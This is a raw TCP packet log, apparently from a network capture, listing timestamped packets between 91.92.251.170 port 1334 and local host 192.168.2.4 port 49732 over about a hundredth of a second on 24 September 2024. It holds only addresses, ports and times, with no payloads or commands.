Sep 24, 2024 22:31:13.880911112 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880913973 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880918980 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880923033 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880939960 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880949020 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880964994 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880973101 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.880973101 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.881006956 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.881011963 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881133080 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881141901 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881185055 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881194115 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881196976 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881221056 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881228924 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881237030 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881244898 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881253004 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881268024 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881275892 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881330013 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881337881 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881345987 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881354094 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881501913 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881510973 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881519079 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881527901 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881531000 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881534100 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881551027 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881558895 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881561995 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881565094 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881575108 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881583929 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881592989 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881597996 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881601095 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881632090 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881639957 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881648064 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881727934 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881736994 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881743908 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881752968 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881767988 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881774902 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881783009 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.881786108 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.883794069 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.883867979 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.884675980 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.884692907 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.884768009 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.884778023 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.884783030 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.884881020 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.884888887 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.884896994 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.884924889 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.884942055 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.884994984 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885001898 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885104895 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885113955 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885154963 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885164022 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885196924 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885206938 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885256052 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885263920 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885268927 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885276079 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885312080 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885368109 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885376930 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885385036 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885427952 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885437012 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885454893 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885462999 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885472059 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885519028 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885566950 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885575056 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885597944 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885607004 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885622025 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885629892 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885682106 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885690928 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885737896 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885746956 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885786057 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885793924 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885855913 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885864973 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885900021 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885938883 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.885992050 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886001110 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886037111 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886045933 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886080980 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886089087 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886132956 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886142015 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886181116 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886245966 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886297941 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886306047 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886353970 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886363029 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886408091 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886415958 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886464119 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886472940 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886492968 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886559010 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886569023 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886585951 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886635065 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886652946 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886740923 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886749983 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886759996 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886833906 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886883020 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886946917 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886955976 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.886961937 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887006998 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887077093 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887084961 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887092113 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887099981 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887172937 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887187958 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887218952 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887228012 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887250900 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887268066 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887325048 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887334108 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887378931 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887398005 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887506008 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887515068 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887518883 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887536049 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887543917 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887551069 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887567997 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887576103 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887630939 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887639046 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887752056 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887759924 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887813091 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887821913 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887842894 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887851954 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887902021 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887911081 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.887921095 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888020992 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888029099 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888031960 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888040066 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888056993 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888065100 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888073921 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888096094 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888104916 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888156891 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888164997 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888171911 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888200998 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888257980 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888267040 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888300896 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888309002 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888377905 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888386011 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888426065 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888434887 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888443947 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888453007 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888592005 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888600111 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888638973 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888647079 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888669968 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888678074 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888731956 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888741970 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888782978 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888791084 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888859987 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888868093 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888907909 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888916016 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.888927937 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889014006 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889022112 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889024973 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889034033 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889041901 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889070034 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889079094 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889130116 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889137983 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889190912 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889199018 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889240980 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889250040 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889306068 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889313936 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889322996 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889331102 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889388084 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889395952 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889437914 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889446974 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889497042 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889506102 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889544964 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889554024 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889590979 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889599085 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889636993 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889645100 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889683962 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889693022 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889712095 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889714956 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889727116 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889741898 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889842033 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889851093 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889885902 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889894962 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889913082 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889920950 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889970064 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.889990091 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890045881 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890055895 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890091896 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890100002 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890132904 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890150070 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890218019 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890227079 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890265942 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890275002 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890353918 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890362024 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890372038 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890378952 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890472889 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890480995 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890521049 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890530109 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890573978 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890583038 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890630007 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890639067 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890645027 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890654087 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890671968 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890678883 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890738964 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890748024 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890758038 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890765905 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890801907 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890810966 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890861034 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890870094 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890913963 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890922070 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890938044 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.890949011 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891043901 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891052008 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891108990 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891118050 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891124964 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891133070 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891143084 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891150951 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891166925 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891174078 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891262054 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891268969 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891277075 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891283989 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891328096 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891335964 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891396999 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891405106 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891470909 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891479015 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891526937 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891535997 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891563892 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891617060 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891664028 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891727924 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891736031 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891793966 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891802073 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891804934 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891812086 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891829014 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891836882 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891849041 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891899109 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891959906 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.891968012 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892009974 CEST	1334	49732	91.92.251.170	192.168.2.4
